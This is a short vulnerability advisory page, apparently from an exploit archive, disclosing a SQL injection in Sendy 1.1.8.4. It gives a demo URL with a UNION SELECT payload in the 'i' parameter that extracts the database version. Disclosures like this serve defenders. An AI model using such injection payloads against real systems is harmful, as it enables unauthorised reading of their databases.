Sendy 1.1.8.4 SQL Injection Vulnerability

2014.02.25
Credit: Hurley
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

# Exploit Title: Sendy SqlInject # Date: 2014-02-24 # Exploit Author: Hurley # Vendor Homepage: http://sendy.co/ # Software Link: http://sendy.co/ # Version: 1.1.8.4 Demo page: http://server/app?i=1+union+all+select+1,2,3,4,5,6,@@version,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22--


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top